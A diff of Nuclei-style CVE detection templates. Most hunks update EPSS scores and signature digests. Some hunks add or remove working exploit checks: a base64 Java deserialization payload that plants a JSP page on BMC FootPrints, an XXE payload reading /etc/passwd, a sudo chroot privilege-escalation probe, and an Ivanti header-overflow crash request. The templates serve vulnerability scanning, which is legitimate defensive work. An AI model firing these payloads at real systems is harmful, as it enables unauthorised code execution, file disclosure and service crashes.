-    epss-percentile: 0.99746
+    epss-score: 0.93687
+    epss-percentile: 0.99836
    cpe: cpe:2.3:a:beyondtrust:privileged_remote_access:*:*:*:*:*:*:*:*
  metadata:
    vendor: beyondtrust
@@ -41,4 +41,4 @@ code:
        words:
          - "0 success"
          - "1 try again later"
-# digest: 4b0a0048304602210083c79d1d50a22879901fd6304689af4b01f5e9189138c99116c68b6810bb64ee022100b7f44a0aa7ad267068a405202a4842632130902be81b54fb4517952b052035ec:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100e56e930f8a6a5608d5b7ebbcd2cbe5304b5d434a2dc99dfa1a05a0f590569bae02204fc7f2b18bee44e3409d2ae3965f7bdca24195849b8c502e19bec2e2274b0ee4:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 9.1
    cve-id: CVE-2024-22120
    cwe-id: CWE-20
-    epss-score: 0.76618
-    epss-percentile: 0.99487
+    epss-score: 0.93259
+    epss-percentile: 0.99792
  metadata:
    max-request: 1
    vendor: zabbix
@@ -73,4 +73,4 @@ code:
      - type: word
        words:
          - "Vulnerable to CVE-2024-22120"
-# digest: 4b0a00483046022100c902d7f86bee439e59b7b2480e16fbbf6240b8134c9edd1880769ffd79e23e43022100c956593926cefeeaeecb478bb0b1428fbc47c4b2d6ac5e036a9e34db5f029dcc:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220718d5807505f6031d8b84168dcfe7cc45843b11233283c1405307e2731058c020221008c26a2fad1990c712b921a8ed6ef3b3f9f1637e3948f2e37a307e97e20c3d401:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 10
    cve-id: CVE-2024-3094
    cwe-id: CWE-506
-    epss-score: 0.85974
-    epss-percentile: 0.99702
+    epss-score: 0.85995
+    epss-percentile: 0.99363
    cpe: cpe:2.3:a:tukaani:xz:5.6.0:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -63,4 +63,4 @@ code:
      - type: dsl
        dsl:
          - response
-# digest: 4a0a00473045022100ffc100ac65c04f91487e3a92e982153a428d575f636e7847511d7c569e2d5d0a022001e1eaa3c0b5a529a7d2c6987c22c324b74c07e410a64fffc0a85f5150dd0a3b:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022011ba130597272a1f01d40059e63d8a16b46bc06e24e6f9d0629e6e0803a3470202205b579761d35007cd3c1874341fed58f8cb1fcfa1ead7f276e21b9b47731fc542:922c64590222798bb761d5b6d8e72950
@@ -14,8 +14,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2024-4340
-    epss-score: 0.0321
-    epss-percentile: 0.86643
+    epss-score: 0.17039
+    epss-percentile: 0.94765
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-4340
  tags: cve,cve2024,py,code,dos,python,sqlparse,vuln
@@ -33,4 +33,4 @@ code:
        part: stderr
        words:
          - "RecursionError: maximum recursion depth exceeded"
-# digest: 4a0a00473045022100d25e4a13b66e18a70793db50686b8963280b7dc7e988a3480bea6d5700ed191e022032a5a86d1d784015c036d4cc9c56755d26cfdbd5ba7223124c81d91aa37f3d30:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022020eb35ee5730cf8da3c8050ef1581e0970a3ca4ef807e7eec49175cd65a42193022100ce53acfb0b86e9f329590ce4d0f0c4b7f8fd63d3b35aac95adede7e80f7921b9:922c64590222798bb761d5b6d8e72950
@@ -20,8 +20,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-45409
    cwe-id: CWE-347
-    epss-score: 0.10684
-    epss-percentile: 0.95276
+    epss-score: 0.4139
+    epss-percentile: 0.97279
  metadata:
    verified: true
    shodan-query: http.title:"GitLab"
@@ -123,4 +123,4 @@ http:
      - type: kval
        kval:
          - _gitlab_session
-# digest: 4a0a0047304502206fa8f842163f2c409cca1ad291289aca760f9c937aa5f71b1bef63d521082192022100e5a05953d273f8d6e701f1334125461737f1656477e849d32109115c11f4c577:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402201e26dada23f83f5dcb1b94d5b11872f8eda958368abf1a31cfe07b7d8601fab002206e7b6941151407aa59bad47d954962658e10dd3bfeb052af4751a0189d48eb63:922c64590222798bb761d5b6d8e72950
@@ -19,9 +19,9 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-47575
    cwe-id: CWE-306
-    epss-score: 0.94761
-    epss-percentile: 0.99848
-    cpe: cpe:2.3:a:fortinet:fortimanager:*:*:*:*:*:*:*:*
+    epss-score: 0.93846
+    epss-percentile: 0.99858
+    cpe: cpe:2.3:a:fortinet:fortimanager:*:*:*:*:*:*:*
  tags: cve,cve2024,fortinet,fortimanager,kev,rce,vkev

 variables:
@@ -147,4 +147,4 @@ code:
      - type: dsl
        dsl:
          - response
-# digest: 4a0a00473045022100bed3e3eac534344fdb763ef3650cf423ad0ba9827c6bc423e77126ae52bd5816022078f4486cd95a931d57112679778f82328cc62dd2598ac4a2af264495347691a4:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022032f3230542d14dc46c0aebc7112a6201f641d05a226341c071220bf8a6b42e3d02210086fb609bdbb427b96bebb1f35d49c2f3eabf6154696f8d22adb0eabf8c271a24:922c64590222798bb761d5b6d8e72950
@@ -19,8 +19,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-55556
    cwe-id: CWE-502
-    epss-score: 0.4356
-    epss-percentile: 0.98582
+    epss-score: 0.8111
+    epss-percentile: 0.99117
  metadata:
    verified: true
    max-request: 2
@@ -195,4 +195,4 @@ http:
      - type: status
        status:
          - 500
-# digest: 4a0a0047304502207a771388c0c447bd8a872e34fdcb4c20f7a2e794dd7e3f21eee486acb68449e7022100c62bfe32aedec00d572eaf40222eea80573c4718a6b72b3c944e29de1d0449f3:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100f9ca193531db5fb80cf8eebc4024385a95d53372a9c33c28718eba5be33876460220635671b10ea921eaa0addf3bd4b5be4cf15dd71dbf8f69e53cb8472928fa6507:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 6.8
    cve-id: CVE-2024-56331
    cwe-id: CWE-22
-    epss-score: 0.01793
-    epss-percentile: 0.75773
+    epss-score: 0.41406
+    epss-percentile: 0.97281
  metadata:
    verified: true
    shodan-query: http.title:"Uptime Kuma"
@@ -124,4 +124,4 @@ code:
      - type: word
        words:
          - "/etc/passwd: {'ok': True, 'msg': 'successAdded'"
-# digest: 490a00463044022058dd549617610fd70c3bef78c51b60e727f9ba8a96482936f4d5eb44d3ad3ce2022072257ae6937461320bf62848f0e8885bc06e2add58fb576e39cfabda45b5fad5:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221009d8591a5d286b028df98dfae288025e119c1aaadcd24cdb3ee71a669c317a763022100c6a416ddcfd2fc4ec9415a2776effa4cd62bf0f6a1556ab1258d6aba9e4cd8eb:922c64590222798bb761d5b6d8e72950
@@ -14,8 +14,8 @@ info:
    - https://projectdiscovery.io/blog/github-enterprise-saml-authentication-bypass
    - https://github.com/advisories/GHSA-g83h-4727-5rpv
  classification:
-    epss-score: 0.22443
-    epss-percentile: 0.97411
+    epss-score: 0.55491
+    epss-percentile: 0.97986
  metadata:
    verified: true
    shodan-query: title:"GitHub Enterprise"
@@ -192,4 +192,4 @@ http:
      - type: kval
        kval:
          - user_session
-# digest: 4a0a0047304502202e72afd0230955ea7101f82008388d9b886b3c2fb3dc41ec592f3e3f14d0a83a02210096e9bd166ef3522b5cc8c16b9820ddb639cf66363c22c7811aaccb30687e75eb:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100c9a879a1a167eb3a1ea51a072419dceb330da8ff1b29e5e3a27c7e1604beb55002201f6fde90532e3c1af85ecd3bf2aae5bea3e15a9e01d41ff355942faee2992a9a:922c64590222798bb761d5b6d8e72950
@@ -15,8 +15,8 @@ info:
    - https://github.com/keras-team/keras/pull/20751
    - https://towerofhanoi.it/writeups/cve-2025-1550/
  classification:
-    epss-score: 0.02803
-    epss-percentile: 0.84774
+    epss-score: 0.04785
+    epss-percentile: 0.89146
  metadata:
    max-request: 1
  tags: cve,cve2025,code,keras,rce,ml
@@ -77,4 +77,4 @@ code:
        part: response
        regex:
          - "root:.*:0:0:"
-# digest: 490a004630440220397b16b7852b80eff0d9833cb912c5f17137b1ca151ef9e330a544b5df96bfab0220474718d09cac82ed59bb2e36d23e7d638f5f87813fe2e52bd44c5e0c2526472c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502206e81b2b03f782d9e88ce8c02448592e64d45da006c1b5e27d9b91a1b74510a57022100f31c6ac7bb8df4745d0c8aac5942f8797e1eca36c7051a1cc3163869206486b7:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 9.0
    cve-id: CVE-2025-22457
    cwe-id: CWE-121,CWE-787
-    epss-score: 0.99979
-    epss-percentile: 0.9998
+    epss-score: 0.49132
+    epss-percentile: 0.97677
    cpe: cpe:2.3:a:ivanti:connect_secure:*:-:*:*:*:*:*:*
  metadata:
    vendor: ivanti
@@ -37,18 +37,20 @@ variables:
  HOST: "{{Host}}"
  PORT: "{{Port}}"

-flow: http(1) && code(1)
+flow: http () && code()

 http:
  - method: GET
    path:
+      - "{{BaseURL}}"
      - "{{BaseURL}}/dana-na/auth/url_default/welcome.cgi"

+    stop-at-first-match: true
    matchers:
      - type: dsl
        internal: true
        dsl:
-          - 'contains_any(body, "Ivanti Connect Secure", "Pulse Secure", "DSLaunchURL", "dana-na")'
+          - 'contains(body, "Ivanti Connect Secure")'
          - 'status_code == 200'
        condition: and

@@ -61,98 +63,60 @@ code:
      import os
      import time
      import requests
-      import re

-      requests.packages.urllib3.disable_warnings()
-
-      PATHS = [
-          "/dana-na/auth/url_default/welcome.cgi",
-          "/dana-na/setup/psaldownload.cgi",
-      ]
-
-      IVANTI_MARKERS = [
-          "Ivanti Connect Secure",
-          "Pulse Secure",
-          "DSLaunchURL",
-          "welcome.cgi",
-          "dana-na",
-      ]
-
-      TIMEOUT_NORMAL = 5
-      TIMEOUT_PAYLOAD = 10
-
-      def safe_request(method, url, headers=None, timeout=5):
-          try:
-              if method == "GET":
-                  return requests.get(url, headers=headers, timeout=timeout, verify=False)
-              elif method == "POST":
-                  return requests.post(url, headers=headers, timeout=timeout, verify=False)
-          except requests.exceptions.RequestException:
-              return None
+      TARGET_PATH = "/dana-na/auth/url_default/welcome.cgi"
+      TIMEOUT = 10

      class IvantiExploit:
          def __init__(self, host, port):
              self.host = host.rstrip("/")
              self.port = port

-          def build_url(self, path):
+          def check_vuln(self):
              host = self.host
              if not host.startswith("http://") and not host.startswith("https://"):
                  host = f"https://{host}"
-              return f"{host}:{self.port}{path}"

-          def is_ivanti(self, response_text):
-              for marker in IVANTI_MARKERS:
-                  if marker in response_text:
-                      return True
-              return False
+              url = f"{host}:{self.port}{TARGET_PATH}"

-          def check_vuln(self):
-              for path in PATHS:
-                  url = self.build_url(path)
+              print(f"Testing {url}")

-                  # Step 1: Pre-check - must be reachable, return 200, and be Ivanti
-                  r1 = safe_request("GET", url, timeout=TIMEOUT_NORMAL)
-                  if not r1 or r1.status_code != 200:
-                      continue
+              #1  Pre-check: Check if target is reachable and status is 200.
+              try:
+                  r1 = requests.get(url, timeout=TIMEOUT, verify=False)
+              except requests.RequestException:
+                  r1 = None
+              if not r1 or r1.status_code != 200:
+                  print("Pre-check failed because target is not reachable or status is not 200.")
+                  return False

-                  if not self.is_ivanti(r1.text):
-                      print(f"Not an Ivanti target (no Ivanti markers in response). Skipping.")
-                      return False
+              print("Pre-check successful.")

-                  print(f"Ivanti fingerprint confirmed on {url}")
+              #2 Payload: Send POST request with X-Forwarded-For header to test the vulnerability.

-                  # Step 2: Send crash payload - POST with oversized X-Forwarded-For
-                  # A vulnerable server will CRASH (no response / timeout)
-                  # A patched or non-vulnerable server will respond normally
-                  payload_headers = {
-                      "User-Agent": "Mozilla/5.0",
-                      "X-Forwarded-For": "1" * 2048,
-                  }
-                  r2 = safe_request("POST", url, headers=payload_headers, timeout=TIMEOUT_PAYLOAD)
+              payload_header = {"X-Forwarded-For": "1"*2048}
+              try:
+                  r2 = requests.post(url, headers=payload_header, timeout=TIMEOUT, verify=False)
+              except requests.RequestException:
+                  r2 = None
+              if r2:
+                  print("Payload is not working.")
+                  return False
+              else:
+                  print("Payload is working.")
+              time.sleep(1)

-                  if r2 is not None:
-                      # Server responded normally = NOT crashed = NOT vulnerable
-                      print(f"Server responded with HTTP {r2.status_code}. Not vulnerable (no crash).")
-                      continue
+              #3 Follow-up: Check if target is still reachable after payload.

-                  # r2 is None = no response = potential crash
-                  print("No response to payload (potential crash detected). Verifying...")
+              try:
+                  r3 = requests.get(url, timeout=TIMEOUT, verify=False)
+              except requests.RequestException:
+                  r3 = None
+              if r3.status_code == 200:
+                  print(f"VULNERABLE: {self.host}:{self.port}")
+                  return True

-                  # Step 3: Follow-up check - server should recover and return 200
-                  # Ivanti's web process auto-restarts after crash
-                  time.sleep(2)
-                  r3 = safe_request("GET", url, timeout=TIMEOUT_NORMAL)
-
-                  if r3 is not None and r3.status_code == 200:
-                      print(f"VULNERABLE: {self.host}:{self.port}{path}")
-                      return True
-                  else:
-                      status = r3.status_code if r3 else "no response"
-                      print(f"Follow-up returned {status}. Could not confirm crash recovery. Skipping.")
-                      continue
-
-              print("Target appears safe.")
+              print("Target seems safe")
              return False

      if __name__ == "__main__":
@@ -164,4 +128,4 @@ code:
      - type: word
        words:
          - "VULNERABLE:"
-# digest: 4a0a00473045022100f71fdb80c77ca24cef2f96ac08cf4cad6896dd9385dcaa60e668b360c8997c4e022040a004ffc2b7df64105151be54efe6b70cb5dba83fea11da5aa9b5edc1738f0e:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022069acae54b99c91cfaeab8fb82cae5f57d728e964fd2fe8effa698476329c17a4022003ff3779091aaa6401059fc5c3fcac3ee13ea937f45f641aa9302be032574919:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 9.3
    cve-id: CVE-2025-25291
    cwe-id: CWE-347
-    epss-score: 0.19506
-    epss-percentile: 0.97043
+    epss-score: 0.13848
+    epss-percentile: 0.94082
  metadata:
    verified: true
    vendor: gitlab
@@ -80,4 +80,4 @@ http:
      - type: kval
        kval:
          - _gitlab_session
-# digest: 4a0a00473045022100e2c601dd7e8539fb1cd1a8d57d50bf4220717095b09e8f5129be02d8af437b69022045bb134b59416d6d526a7d108e5741aae74c2b9a5259c6dbf3b550a003fa84ee:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100da7671ed91ea1bc5fb04f262e95116df31243319410921fd226fac65e5965a2002207dae994b259b2e7632380ef6472614f8f2b871f6b87c2a973145ae0b7fa4d82f:922c64590222798bb761d5b6d8e72950
@@ -22,8 +22,8 @@ info:
    cvss-score: 10
    cve-id: CVE-2025-32433
    cwe-id: CWE-306
-    epss-score: 0.97859
-    epss-percentile: 0.999
+    epss-score: 0.43921
+    epss-percentile: 0.97417
  metadata:
    verified: true
    max-request: 1
@@ -174,4 +174,4 @@ code:
        dsl:
          - 'contains(interactsh_protocol, "dns")'
        condition: and
-# digest: 490a00463044022021be3e9059264c8820581780565b16fca2ac96911af9f2c90cfe41d5efa21d01022046d1be1a59699ebe8ad15c0ead0bbd72fbc528d106d41a32e27412a85972985d:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100e527b9ad3b3bc403be44a96258595d391da0b9a2167b9be04d7b4390d6e98d23022100ed8a6ad801506593f10d87408f5bd81f21d6cb75383ddadeabb9ee598a17abd8:922c64590222798bb761d5b6d8e72950
@@ -1,67 +0,0 @@
-id: CVE-2025-32463
-
-info:
-  name: Sudo - Local Privilege Escalation via chroot
-  author: SeungAh-Hong
-  severity: critical
-  description: |
-    Sudo before 1.9.17p1 allows local users to obtain root access by using /etc/nsswitch.conf from a user-controlled directory with the --chroot (-R) option.
-  impact: |
-    A local attacker can escalate privileges to root by placing a crafted nsswitch.conf file and a malicious NSS library in a writable chroot directory, enabling arbitrary code execution with root privileges.
-  remediation: |
-    Upgrade sudo to version 1.9.17p1 or later.
-  reference:
-    - https://nvd.nist.gov/vuln/detail/CVE-2025-32463
-    - https://www.sudo.ws/security/advisories/chroot_bug/
-    - https://ubuntu.com/security/CVE-2025-32463
-    - https://www.wiz.io/vulnerability-database/cve/cve-2025-32463
-    - https://explore.alas.aws.amazon.com/CVE-2025-32463.html
-  classification:
-    cve-id: CVE-2025-32463
-    epss-score: 0.47467
-    epss-percentile: 0.98699
-    cvss-score: 9.3
-    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
-    cwe-id: CWE-426
-  metadata:
-    verified: true
-  tags: cve,cve2025,sudo,priv-esc,linux,lpe,kev,vkev
-
-self-contained: true
-
-flow: code(1) && code(2)
-
-code:
-  - engine:
-      - sh
-      - bash
-    source: |
-      whoami
-
-    matchers:
-      - type: word
-        part: response
-        words:
-          - "root"
-        negative: true
-
-  - engine:
-      - sh
-      - bash
-    source: |
-      OUT="$(sudo -n -R woot woot 2>&1 || true)"
-      printf "%s\n" "$OUT"
-
-    matchers-condition: and
-    matchers:
-      - type: regex
-        part: response
-        regex:
-          - '(?i).*woot.*no such file or directory.*'
-
-      - type: dsl
-        dsl:
-          - "!contains(tolower(response), 'password')"
-          - "!contains(tolower(response), 'a password is required')"
-          - "!contains(tolower(response), 'is not in the sudoers file')"
-# digest: 490a004630440220136e0b750d94d77ac44ebd9c17cc4b63caefb98466cd8cfaf60285a02339b91c0220283634be0c9a783f5ed4b917983d4e860fc588e568f3b876e4cc5832c75e337c:922c64590222798bb761d5b6d8e72950
@@ -17,10 +17,10 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-54309
-    epss-score: 0.92034
-    epss-percentile: 0.99807
+    epss-score: 0.63875
+    epss-percentile: 0.98357
    cwe-id: CWE-287,CWE-362
-    cpe: cpe:2.3:a:crushftp:crushftp:*:*:*:*:*:*:*:*
+    cpe: cpe:2.3:a:crushftp:crushftp:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: crushftp
@@ -200,4 +200,4 @@ code:
      - type: word
        words:
          - "VULNERABLE:"
-# digest: 4b0a00483046022100e8682f6eb18cc49cd7ed9946e1e0df3225844789666f622234e0b55ce31f1ded022100fc067931b6b02b90f0d072f19a5e3a400dfb0a842bdedb8cd71da31370ce3cc1:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100eb3f5959125a305830d65c6bf563bec0c2bc81e14ab8a9181f74a3f679fbb5f9022100ec7ca9512961e8e0171d8326e2fe46cf1f33784f2674ecdecd0961b84110bc60:922c64590222798bb761d5b6d8e72950
@@ -15,8 +15,8 @@ info:
    - https://alltena.com/en/resources/release-notes/release-notes-for-release-8-1-4-and-release-7-5-2
    - https://nvd.nist.gov/vuln/detail/CVE-2025-6216
  classification:
-    epss-score: 0.29434
-    epss-percentile: 0.97955
+    epss-score: 0.33256
+    epss-percentile: 0.96767
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-6216
@@ -115,4 +115,4 @@ code:
      - type: dsl  # type of the extractor
        dsl:
          - '"Reset URL: " + code_response'
-# digest: 4b0a004830460221009563513650966d7597d5c8a5a46d49fcc84fef8e698e57b330209c7771a59eb2022100d88d01c549b914a0710335ce592d29c7af52323cd856699f6780c90afc140b37:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450221008589014638c7b15e0d8d9596a1c15c312d5eadb644547f41f85ba2c11233cc47022008364a7eb0e54abc9bc3897d171a14130f966d292fcf6ccd898798f5649cb16e:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-68926
-    epss-score: 0.2903
-    epss-percentile: 0.9793
+    epss-score: 0.03135
+    epss-percentile: 0.8648
    cwe-id: CWE-798
  metadata:
    verified: true
@@ -1,67 +0,0 @@
-id: CVE-2025-6984
-
-info:
-  name: langchain-ai langchain - XML External Entity Injection
-  author: nukunga
-  severity: high
-  description: |
-    langchain-ai/langchain 0.3.63 contains an XML External Entity (XXE) injection caused by insecure XML parsing in EverNoteLoader using etree.iterparse(), letting attackers disclose sensitive information, exploit requires crafted malicious XML payload.
-  impact: |
-    Attackers can disclose sensitive local files, potentially exposing critical system information.
-  remediation: |
-    Update to the latest version that disables external entity references in XML parsing.
-  reference:
-    - https://nvd.nist.gov/vuln/detail/CVE-2025-6984
-    - https://huntr.com/bounties/a6b521cf-258c-41c0-9edb-d8ef976abb2a
-    - https://github.com/langchain-ai/langchain-community/commit/e842452
-  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
-    cvss-score: 7.5
-    cve-id: CVE-2025-6984
-    epss-score: 0.01531
-    epss-percentile: 0.71736
-    cwe-id: CWE-200
-  metadata:
-    verified: true
-  tags: cve,cve2025,langchain,xxe,intrusive,file-write
-
-self-contained: true
-
-code:
-  - engine:
-      - py
-      - python3
-
-    source: |
-      import tempfile
-      import os
-      from langchain_community.document_loaders import EverNoteLoader
-
-      if __name__ == "__main__":
-
-          xxe_payload = '''<?xml version="1.0" ?>
-      <!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
-      <note>
-          <content>&example;</content>
-      </note>'''
-
-          # Write payload to temporary file
-          with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f:
-              f.write(xxe_payload)
-              temp_file = f.name
-
-          try:
-              loader = EverNoteLoader(temp_file)
-              print(loader.load())
-          finally:
-              os.unlink(temp_file)
-
-    matchers:
-      - type: word
-        part: response
-        words:
-          - "root:"
-          - "bin:"
-          - "daemon:"
-        condition: or
-# digest: 4b0a00483046022100b09735eee11bf2f17bfa345f0063b39ae6aa19e66bf2bc5fb1daefffced2bcd3022100a9c2a04c4d2d7a5beee4a942bcf043c172b2c2f2a5b4fb55dc326a0ee36dcd98:922c64590222798bb761d5b6d8e72950
@@ -1,115 +0,0 @@
-id: CVE-2025-71260
-
-info:
-  name: BMC FootPrints - Deserialization of Untrusted Data (RCE)
-  author: watchTowr,DhiyaneshDk
-  severity: critical
-  description: |
-    BMC FootPrints Asset Core is vulnerable to pre-authentication remote code execution via Java deserialization in the aspnetconfig endpoint.
-  impact: |
-    Authenticated attackers can execute arbitrary code remotely, fully compromising the application.
-  remediation: Upgrade BMC FootPrints to the latest patched version.
-  reference:
-    - https://labs.watchtowr.com/thanks-itsms-threat-actors-have-never-been-so-organized-bmc-footprints-pre-auth-remote-code-execution-chains/
-    - https://github.com/watchtowrlabs/watchTowr-vs-BMC-Footprints-RCE-CVE-2025-71257-CVE-2025-71260/blob/main/watchTowr-vs-BMC-Footprints-RCE-CVE-2025-71257-CVE-2025-71260.py
-    - https://nvd.nist.gov/vuln/detail/CVE-2025-71260
-  metadata:
-    verified: true
-    max-request: 4
-    shodan-query: html:"/footprints/servicedesk/"
-  tags: cve,cve2025,servicedesk,bmc-software,rce,intrusive,file-upload
-
-flow: http(1) && code(1) && http(2) && http(3)
-
-http:
-  - raw:
-      - |
-        GET /footprints/servicedesk/passwordreset/request/ HTTP/1.1
-        Host: {{Hostname}}
-
-    matchers:
-      - type: dsl
-        dsl:
-          - 'contains(header, "SEC_TOKEN=")'
-        internal: true
-
-  - raw:
-      - |
-        GET /footprints/servicedesk/aspnetconfig?__VIEWSTATE={{filename}} HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/x-www-form-urlencoded
-        Content-Length: {{len(payload)}}
-
-        __VIEWSTATE={{payload}}
-
-    matchers:
-      - type: dsl
-        dsl:
-          - 'status_code == 500'
-        internal: true
-
-  - raw:
-      - |
-        GET /{{filename}}.jsp HTTP/1.1
-        Host: {{Hostname}}
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: body
-        words:
-          - "System Information"
-          - "OS User:"
-          - "Current Working Directory:"
-        condition: and
-
-      - type: status
-        status:
-          - 200
-
-    extractors:
-      - type: regex
-        name: os_user
-        part: body
-        regex:
-          - 'OS User:</strong>\s*([^<]+)'
-        group: 1
-
-code:
-  - engine:
-      - py
-      - python3
-
-    source: |
-      import random
-      import string
-      import base64
-      from urllib.parse import quote
-
-      original_b64 = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAGndlYmFwcHMvUk9PVC93YXRjaFRvd3IuanNwc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHEAfgADeHB1cgACW0Ks8xf4BghU4AIAAHhwAAABvjwlQCBwYWdlIGxhbmd1YWdlPSJqYXZhIiBjb250ZW50VHlwZT0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04IiBwYWdlRW5jb2Rpbmc9IlVURi04IiU+CjwlCiAgICBTdHJpbmcgb3NVc2VyID0gU3lzdGVtLmdldFByb3BlcnR5KCJ1c2VyLm5hbWUiKTsKICAgIFN0cmluZyBjd2QgPSBTeXN0ZW0uZ2V0UHJvcGVydHkoInVzZXIuZGlyIik7CiU+CjwhRE9DVFlQRSBodG1sPgo8aHRtbD4KPGhlYWQ+CiAgICA8dGl0bGU+d2F0Y2hUb3dyIFN5c3RlbSBJbmZvPC90aXRsZT4KPC9oZWFkPgo8Ym9keT4KICAgIDxoMT5TeXN0ZW0gSW5mb3JtYXRpb248L2gxPgogICAgPHA+PHN0cm9uZz5PUyBVc2VyOjwvc3Ryb25nPiA8JT0gb3NVc2VyICU+PC9wPgogICAgPHA+PHN0cm9uZz5DdXJyZW50IFdvcmtpbmcgRGlyZWN0b3J5Ojwvc3Ryb25nPiA8JT0gY3dkICU+PC9wPgo8L2JvZHk+CjwvaHRtbD4Kc3IAPm9yZy5hc3BlY3RqLndlYXZlci50b29scy5jYWNoZS5TaW1wbGVDYWNoZSRTdG9yZWFibGVDYWNoaW5nTWFwO6sCH0tqVloCAANKAApsYXN0U3RvcmVkSQAMc3RvcmluZ1RpbWVyTAAGZm9sZGVydAASTGphdmEvbGFuZy9TdHJpbmc7eHIAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4AAABmQ2q4P0AAAAMdAABLnh4"
-
-      target = b"watchTowr"
-      random_name = ''.join(random.choices(string.ascii_letters + string.digits, k=9))
-
-      decoded = base64.b64decode(original_b64)
-      modified = decoded.replace(target, random_name.encode())
-      encoded = base64.b64encode(modified).decode()
-      payload = quote(encoded, safe='')
-
-      print(f"{random_name}|{payload}")
-
-    extractors:
-      - type: regex
-        name: filename
-        internal: true
-        regex:
-          - '^([^|]+)'
-        group: 1
-
-      - type: regex
-        name: payload
-        internal: true
-        regex:
-          - '\|(.+)$'
-        group: 1
-# digest: 4a0a00473045022100b2877e84e37d0dc5c41842be512b9309b95d850ad6474ae80a32462e6b81cfc60220533db7a89ed2ce39c410359b308c5bd8cac3d59d485712154572c64c2c94b5a9:41987585204b393149694b2205534b1a
@@ -18,9 +18,9 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2025-9242
    cwe-id: CWE-787,CWE-362
-    epss-score: 0.8637
-    epss-percentile: 0.99709
-    cpe: cpe:2.3:a:watchguard:fireware_os:*:*:*:*:*:*:*:*
+    epss-score: 0.73453
+    epss-percentile: 0.98758
+    cpe: cpe:2.3:a:watchguard:fireware_os:*:*:*:*:*:*:*
  metadata:
    verified: true
    shodan-query: html:"Watchguard" html:"Authentication Server"
@@ -552,4 +552,4 @@ code:
      - type: dsl
        dsl:
          - response
-# digest: 4a0a0047304502207c5ec28507f297a730ae76ad5a6b684be07faadc08f975366ca089b08c207a630221008561c1d8f9122d261eb8d36e7a7343f7a89fb8881769d1027bb4ea62bc10cea7:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100db08810d9f2ba81fced39c731e6f870293e0876ef95671568a59efd95ef2223702206b3ead0a6a79563257a97a65722666c0d85c1ad8257a7f40cdd8311bda5d573a:922c64590222798bb761d5b6d8e72950
@@ -1,88 +0,0 @@
-id: CVE-2026-10795
-
-info:
-  name: UpdraftPlus WP Backup & Migration Plugin - Authentication Bypass
-  author: theamanrawat,s4e-io
-  severity: high
-  description: |
